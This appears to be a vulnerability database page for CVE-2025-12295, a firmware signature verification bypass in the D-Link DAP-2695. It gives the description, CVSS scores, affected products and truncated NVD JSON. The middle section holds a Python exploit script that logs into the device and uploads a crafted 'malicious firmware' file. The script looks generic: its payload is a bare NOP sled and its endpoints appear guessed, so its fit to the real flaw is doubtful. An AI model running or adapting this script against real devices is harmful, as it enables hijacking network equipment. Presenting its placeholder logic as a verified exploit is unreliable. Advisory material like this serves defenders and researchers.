Security Vulnerability Report
中文
CVE-2025-12295 CVSS 6.6 MEDIUM

CVE-2025-12295

Published: 2025-10-27 17:15:37
Last Modified: 2025-11-03 17:24:43

Description

A weakness has been identified in D-Link DAP-2695 2.00RC13. The affected element is the function sub_40C6B8 of the component Firmware Update Handler. Executing manipulation can lead to improper verification of cryptographic signature. The attack can be launched remotely. Attacks of this nature are highly complex. The exploitability is described as difficult. The exploit has been made available to the public and could be exploited. This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dap-2695_firmware:2.00:rc131:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dap-2695:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DAP-2695 固件版本 2.00RC13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-12295 PoC - D-Link DAP-2695 Firmware Signature Verification Bypass # This PoC demonstrates the signature verification bypass in Firmware Update Handler import struct import hashlib import requests import sys def create_malicious_firmware(): """ Create malicious firmware payload """ # Firmware header structure header = b'DLK' # D-Link signature version = b'2.00RC13' # Malicious payload malicious_code = b'\x90' * 100 + b'\xcc' * 50 # NOP sled + INT3 # Build firmware package firmware = header + version + malicious_code # Calculate checksums md5_hash = hashlib.md5(firmware).hexdigest() sha256_hash = hashlib.sha256(firmware).hexdigest() return firmware, md5_hash, sha256_hash def exploit_dlink_dap2695(target_ip, admin_user, admin_pass): """ Exploit the firmware update signature verification bypass Args: target_ip: Target D-Link DAP-2695 IP address admin_user: Administrator username admin_pass: Administrator password """ base_url = f"http://{target_ip}" # Create malicious firmware firmware, md5_hash, sha256_hash = create_malicious_firmware() print(f"[*] Target: {target_ip}") print(f"[*] Creating malicious firmware...") print(f"[*] MD5: {md5_hash}") print(f"[*] SHA256: {sha256_hash}") # Step 1: Authenticate with admin credentials session = requests.Session() login_data = { 'username': admin_user, 'password': admin_pass } print("[*] Authenticating...") login_url = f"{base_url}/cgi-bin/login.cgi" response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Upload malicious firmware print("[*] Uploading malicious firmware...") upload_url = f"{base_url}/cgi-bin/firmware_upgrade.cgi" files = { 'firmware': ('malicious_fw.bin', firmware, 'application/octet-stream') } response = session.post(upload_url, files=files, timeout=60) if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Firmware uploaded successfully") print("[+] Malicious firmware deployed - signature verification bypassed") return True else: print("[-] Firmware upload failed or signature check triggered") return False def main(): if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <admin_user> <admin_pass>") sys.exit(1) target_ip = sys.argv[1] admin_user = sys.argv[2] admin_pass = sys.argv[3] exploit_dlink_dap2695(target_ip, admin_user, admin_pass) if __name__ == '__main__': main() # Note: This PoC requires valid administrator credentials (PR:H requirement) # The vulnerability allows bypassing signature verification in firmware update process

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12295", "sourceIdentifier": "[email protected]", "published": "2025-10-27T17:15:36.510", "lastModified": "2025-11-03T17:24:43.190", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A weakness has been identified in D-Link DAP-2695 2.00RC13. The affected element is the function sub_40C6B8 of the component Firmware Update Handler. Executing manipulation can lead to improper verification of cryptographic signature. The attack can be launched remotely. Attacks of this nature are highly complex. The exploitability is described as difficult. The exploit has been made available to the public and could be exploited. This vulnerability only affects products that are no longer supported by the maintainer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:M/C:C/I:C/A:C", "baseScore": 6.8, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "MULTIPLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.2, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-347"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dap-2695_firmware:2.00:rc131:*:*:*:*:*:*", "matchCriteriaId": "9CB3D4F4-9212-4902-BCDD-5A4036D26E33"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dap-2695:-:*:*:*:*:*:*:*", "matchCriteriaId": "9039DA66-D624-4590-B236-101B775C5956"}]}]}], "references": [{"url": "https://github.com/IOTRes/IOT_Firmware_Update/blob/main/Dlink/DAP-2695_Inte.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.329963", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329963", "source": "[email protected]", "tags": ["Third Party Advisor ... (truncated)